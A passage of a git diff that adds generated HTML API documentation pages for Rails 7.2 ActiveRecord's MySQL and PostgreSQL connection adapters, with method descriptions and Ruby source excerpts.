+          when ER_CONN_HOST_ERROR, ER_UNKNOWN_HOST_ERROR
+            raise ActiveRecord::DatabaseConnectionError.hostname_error(config[:host])
+          else
+            raise ActiveRecord::ConnectionNotEstablished, error.message
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + active?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 115
+      def active?
+        connected? && @lock.synchronize { @raw_connection&.ping } || false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connected?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 111
+      def connected?
+        !(@raw_connection.nil? || @raw_connection.closed?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disconnect!() + +

+ + +
+

Disconnects from the database if already connected. Otherwise, this method does nothing.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 123
+      def disconnect!
+        @lock.synchronize do
+          super
+          @raw_connection&.close
+          @raw_connection = nil
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + error_number(exception) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 103
+      def error_number(exception)
+        exception.error_number if exception.respond_to?(:error_number)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + savepoint_errors_invalidate_transactions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 85
+      def savepoint_errors_invalidate_transactions?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_comments?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 73
+      def supports_comments?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_comments_in_create?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 77
+      def supports_comments_in_create?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_json?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 69
+      def supports_json?
+        !mariadb? && database_version >= "5.7.8"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_lazy_transactions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 89
+      def supports_lazy_transactions?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_savepoints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb, line 81
+      def supports_savepoints?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/NullColumn.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/NullColumn.html new file mode 100644 index 0000000000..b88228e3a1 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/NullColumn.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::ConnectionAdapters::NullColumn +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL.html new file mode 100644 index 0000000000..35c0df9965 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL.html @@ -0,0 +1,224 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
ExclusionConstraintDefinition=Struct.new(:table_name, :expression, :options) do +def name +options[:name] +end + +def using +options[:using] +end + +def where +options[:where] +end + +def deferrable +options[:deferrable] +end + +def export_name_on_schema_dump? +!ActiveRecord::SchemaDumper.excl_ignore_pattern.match?(name) if name +end +end
UniqueConstraintDefinition=Struct.new(:table_name, :column, :options) do +def name +options[:name] +end + +def deferrable +options[:deferrable] +end + +def using_index +options[:using_index] +end + +def export_name_on_schema_dump? +!ActiveRecord::SchemaDumper.unique_ignore_pattern.match?(name) if name +end + +def defined_for?(name: nil, column: nil, **options) +(name.nil? || self.name == name.to_s) && +(column.nil? || Array(self.column) == Array(column).map(&:to_s)) && +options.all? { |k, v| self.options[k].to_s == v.to_s } +end +end
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/AlterTable.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/AlterTable.html new file mode 100644 index 0000000000..7554a57c3a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/AlterTable.html @@ -0,0 +1,362 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::AlterTable +layout: default +--- +
+ +
+
+ +
+ +

Active Record PostgreSQL Adapter Alter Table

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + constraint_validations
+ [R] + exclusion_constraint_adds
+ [R] + exclusion_constraint_drops
+ [R] + unique_constraint_adds
+ [R] + unique_constraint_drops
+ + + + +

Class Public methods

+ +
+

+ + new(td) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 361
+        def initialize(td)
+          super
+          @constraint_validations = []
+          @exclusion_constraint_adds = []
+          @exclusion_constraint_drops = []
+          @unique_constraint_adds = []
+          @unique_constraint_drops = []
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add_exclusion_constraint(expression, options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 374
+        def add_exclusion_constraint(expression, options)
+          @exclusion_constraint_adds << @td.new_exclusion_constraint_definition(expression, options)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_unique_constraint(column_name, options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 382
+        def add_unique_constraint(column_name, options)
+          @unique_constraint_adds << @td.new_unique_constraint_definition(column_name, options)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + drop_exclusion_constraint(constraint_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 378
+        def drop_exclusion_constraint(constraint_name)
+          @exclusion_constraint_drops << constraint_name
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + drop_unique_constraint(unique_constraint_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 386
+        def drop_unique_constraint(unique_constraint_name)
+          @unique_constraint_drops << unique_constraint_name
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_constraint(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 370
+        def validate_constraint(name)
+          @constraint_validations << name
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/ColumnMethods.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/ColumnMethods.html new file mode 100644 index 0000000000..e870ba1e01 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/ColumnMethods.html @@ -0,0 +1,1014 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::ColumnMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + bigserial(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + bit(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + bit_varying(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + box(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + cidr(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + circle(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + citext(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + daterange(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + enum(*names, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 184
+        included do
+          define_column_methods :bigserial, :bit, :bit_varying, :cidr, :citext, :daterange,
+            :hstore, :inet, :interval, :int4range, :int8range, :jsonb, :ltree, :macaddr,
+            :money, :numrange, :oid, :point, :line, :lseg, :box, :path, :polygon, :circle,
+            :serial, :tsrange, :tstzrange, :tsvector, :uuid, :xml, :timestamptz, :enum
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hstore(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + inet(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + int4range(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + int8range(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + interval(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + jsonb(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + line(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + lseg(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + ltree(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + macaddr(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + money(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + numrange(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + oid(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + path(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + point(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + polygon(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + primary_key(name, type = :primary_key, **options) + +

+ + +
+

Defines the primary key field. Use of the native PostgreSQL UUID type is supported, and can be used by defining your tables as such:

+ +
create_table :stuffs, id: :uuid do |t|
+  t.string :content
+  t.timestamps
+end
+
+ +

By default, this will use the gen_random_uuid() function from the pgcrypto extension. As that extension is only available in PostgreSQL 9.4+, for earlier versions an explicit default can be set to use uuid_generate_v4() from the uuid-ossp extension instead:

+ +
create_table :stuffs, id: false do |t|
+  t.primary_key :id, :uuid, default: "uuid_generate_v4()"
+  t.uuid :foo_id
+  t.timestamps
+end
+
+ +

To enable the appropriate extension, which is a requirement, use the enable_extension method in your migrations.

+ +

To use a UUID primary key without any of the extensions, set the :default option to nil:

+ +
create_table :stuffs, id: false do |t|
+  t.primary_key :id, :uuid, default: nil
+  t.uuid :foo_id
+  t.timestamps
+end
+
+ +

You may also pass a custom stored procedure that returns a UUID or use a different UUID generation function from another library.

+ +

Note that setting the UUID primary key default value to nil will require you to assure that you always provide a UUID value before saving a record (as primary keys cannot be nil). This might be done via the SecureRandom.uuid method and a before_save callback, for instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb, line 48
+        def primary_key(name, type = :primary_key, **options)
+          if type == :uuid
+            options[:default] = options.fetch(:default, "gen_random_uuid()")
+          end
+
+          super
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serial(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + timestamptz(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + tsrange(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + tstzrange(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + tsvector(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + uuid(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + xml(*names, **options) + +

+ + +
+ +
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/DatabaseStatements.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/DatabaseStatements.html new file mode 100644 index 0000000000..70d3ba7065 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/DatabaseStatements.html @@ -0,0 +1,286 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::DatabaseStatements +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + build_explain_clause(options = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb, line 134
+        def build_explain_clause(options = [])
+          return "EXPLAIN" if options.empty?
+
+          "EXPLAIN (#{options.join(", ").upcase})"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + explain(arel, binds = [], options = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb, line 7
+        def explain(arel, binds = [], options = [])
+          sql    = build_explain_clause(options) + " " + to_sql(arel, binds)
+          result = internal_exec_query(sql, "EXPLAIN", binds)
+          PostgreSQL::ExplainPrettyPrinter.new.pp(result)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + high_precision_current_timestamp() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb, line 130
+        def high_precision_current_timestamp
+          HIGH_PRECISION_CURRENT_TIMESTAMP
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + raw_execute(sql, name, async: false, allow_retry: false, materialize_transactions: true) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb, line 53
+        def raw_execute(sql, name, async: false, allow_retry: false, materialize_transactions: true)
+          log(sql, name, async: async) do |notification_payload|
+            with_raw_connection(allow_retry: allow_retry, materialize_transactions: materialize_transactions) do |conn|
+              result = conn.async_exec(sql)
+              verified!
+              handle_warnings(result)
+              notification_payload[:row_count] = result.count
+              result
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_constraints(deferred, *constraints) + +

+ + +
+

Set when constraints will be checked for the current transaction.

+ +

Not passing any specific constraint names will set the value for all deferrable constraints.

+
deferred +
+

Valid values are :deferred or :immediate.

+
+ +

See www.postgresql.org/docs/current/sql-set-constraints.html

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb, line 148
+        def set_constraints(deferred, *constraints)
+          unless %i[deferred immediate].include?(deferred)
+            raise ArgumentError, "deferred must be :deferred or :immediate"
+          end
+
+          constraints = if constraints.empty?
+            "ALL"
+          else
+            constraints.map { |c| quote_table_name(c) }.join(", ")
+          end
+          execute("SET CONSTRAINTS #{constraints} #{deferred.to_s.upcase}")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/OID.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/OID.html new file mode 100644 index 0000000000..900f3f2591 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/OID.html @@ -0,0 +1,121 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::OID +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/OID/Bit.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/OID/Bit.html new file mode 100644 index 0000000000..11fe7ad12a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/OID/Bit.html @@ -0,0 +1,75 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::OID::Bit +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/OID/Bit/Data.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/OID/Bit/Data.html new file mode 100644 index 0000000000..f2c876e61e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/OID/Bit/Data.html @@ -0,0 +1,227 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::OID::Bit::Data +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb, line 30
+            def initialize(value)
+              @value = value
+            end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + binary?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb, line 38
+            def binary?
+              /\A[01]*\Z/.match?(value)
+            end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hex?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb, line 42
+            def hex?
+              /\A[0-9A-F]*\Z/i.match?(value)
+            end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb, line 34
+            def to_s
+              value
+            end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/Quoting.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/Quoting.html new file mode 100644 index 0000000000..0810cc174c --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/Quoting.html @@ -0,0 +1,282 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::Quoting +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + check_int_in_range(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb, line 81
+        def check_int_in_range(value)
+          if value.to_int > 9223372036854775807 || value.to_int < -9223372036854775808
+            exception = <<~ERROR
+              Provided value outside of the range of a signed 64bit integer.
+
+              PostgreSQL will treat the column type in question as a numeric.
+              This may result in a slow sequential scan due to a comparison
+              being performed between an integer or bigint value and a numeric value.
+
+              To allow for this potentially unwanted behavior, set
+              ActiveRecord.raise_int_wider_than_64bit to false.
+            ERROR
+            raise IntegerOutOf64BitRange.new exception
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + escape_bytea(value) + +

+ + +
+

Escapes binary strings for bytea input to the database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb, line 70
+        def escape_bytea(value)
+          valid_raw_connection.escape_bytea(value) if value
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quote_schema_name(schema_name) + +

+ + +
+

Quotes schema names for use in SQL queries.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb, line 138
+        def quote_schema_name(schema_name)
+          quote_column_name(schema_name)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quote_table_name_for_assignment(table, attr) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb, line 133
+        def quote_table_name_for_assignment(table, attr)
+          quote_column_name(attr)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unescape_bytea(value) + +

+ + +
+

Unescapes bytea output from a database to the binary string it represents. NOTE: This is NOT an inverse of escape_bytea! This is only to be used on escaped binary output from database drive.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb, line 77
+        def unescape_bytea(value)
+          valid_raw_connection.unescape_bytea(value) if value
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/Quoting/IntegerOutOf64BitRange.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/Quoting/IntegerOutOf64BitRange.html new file mode 100644 index 0000000000..9f44b12374 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/Quoting/IntegerOutOf64BitRange.html @@ -0,0 +1,107 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::Quoting::IntegerOutOf64BitRange +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(msg) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb, line 64
+          def initialize(msg)
+            super(msg)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/SchemaStatements.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/SchemaStatements.html new file mode 100644 index 0000000000..c98887f721 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/PostgreSQL/SchemaStatements.html @@ -0,0 +1,1567 @@ +--- +title: ActiveRecord::ConnectionAdapters::PostgreSQL::SchemaStatements +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + add_exclusion_constraint(table_name, expression, **options) + +

+ + +
+

Adds a new exclusion constraint to the table. expression is a String representation of a list of exclusion elements and operators.

+ +
add_exclusion_constraint :products, "price WITH =, availability_range WITH &&", using: :gist, name: "price_check"
+
+ +

generates:

+ +
ALTER TABLE "products" ADD CONSTRAINT price_check EXCLUDE USING gist (price WITH =, availability_range WITH &&)
+
+ +

The options hash can include the following keys:

+
:name +
+

The constraint name. Defaults to excl_rails_<identifier>.

+
:deferrable +
+

Specify whether or not the exclusion constraint should be deferrable. Valid values are false or :immediate or :deferred to specify the default behavior. Defaults to false.

+
:using +
+

Specify which index method to use when creating this exclusion constraint (e.g. :btree, :gist etc).

+
:where +
+

Specify an exclusion constraint on a subset of the table (internally PostgreSQL creates a partial index for this).

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 699
+        def add_exclusion_constraint(table_name, expression, **options)
+          options = exclusion_constraint_options(table_name, expression, options)
+          at = create_alter_table(table_name)
+          at.add_exclusion_constraint(expression, options)
+
+          execute schema_creation.accept(at)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_foreign_key(from_table, to_table, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 534
+        def add_foreign_key(from_table, to_table, **options)
+          assert_valid_deferrable(options[:deferrable])
+
+          super
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_unique_constraint(table_name, column_name = nil, **options) + +

+ + +
+

Adds a new unique constraint to the table.

+ +
add_unique_constraint :sections, [:position], deferrable: :deferred, name: "unique_position"
+
+ +

generates:

+ +
ALTER TABLE "sections" ADD CONSTRAINT unique_position UNIQUE (position) DEFERRABLE INITIALLY DEFERRED
+
+ +

If you want to change an existing unique index to deferrable, you can use :using_index to create deferrable unique constraints.

+ +
add_unique_constraint :sections, deferrable: :deferred, name: "unique_position", using_index: "index_sections_on_position"
+
+ +

The options hash can include the following keys:

+
:name +
+

The constraint name. Defaults to uniq_rails_<identifier>.

+
:deferrable +
+

Specify whether or not the unique constraint should be deferrable. Valid values are false or :immediate or :deferred to specify the default behavior. Defaults to false.

+
:using_index +
+

To specify an existing unique index name. Defaults to nil.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 750
+        def add_unique_constraint(table_name, column_name = nil, **options)
+          options = unique_constraint_options(table_name, column_name, options)
+          at = create_alter_table(table_name)
+          at.add_unique_constraint(column_name, options)
+
+          execute schema_creation.accept(at)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + client_min_messages() + +

+ + +
+

Returns the current client message level.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 247
+        def client_min_messages
+          query_value("SHOW client_min_messages", "SCHEMA")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + client_min_messages=(level) + +

+ + +
+

Set the client message level.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 252
+        def client_min_messages=(level)
+          internal_execute("SET client_min_messages TO '#{level}'")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + collation() + +

+ + +
+

Returns the current database collation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 191
+        def collation
+          query_value("SELECT datcollate FROM pg_database WHERE datname = current_database()", "SCHEMA")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_database(name, options = {}) + +

+ + +
+

Create a new PostgreSQL database. Options include :owner, :template, :encoding (defaults to utf8), :collation, :ctype, :tablespace, and :connection_limit (note that MySQL uses :charset while PostgreSQL uses :encoding).

+ +

Example:

+ +
create_database config[:database], config
+create_database 'foo_development', encoding: 'unicode'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb, line 22
+        def create_database(name, options = {})
+          options = { encoding: "utf8" }.merge!(options.symbolize_keys)
+
+          option_string = options.each_with_object(+"") do |(key, value), memo|
+            memo << case key
+                    when :owner
+                      " OWNER = \"#{value}\""
+                    when :template
+                      " TEMPLATE = \"#{value}\""
+                    when :encoding
+                      " ENCODING = '#{value}'"
+                    when :collation
+                      " LC_COLLATE = '#{value}'"
+                    when :ctype
+                      " LC_CTYPE = '#{value}'"
+                    when :tablespace
+                      " TABLESPACE = \"#{value}\""
+                    when :connection_limit
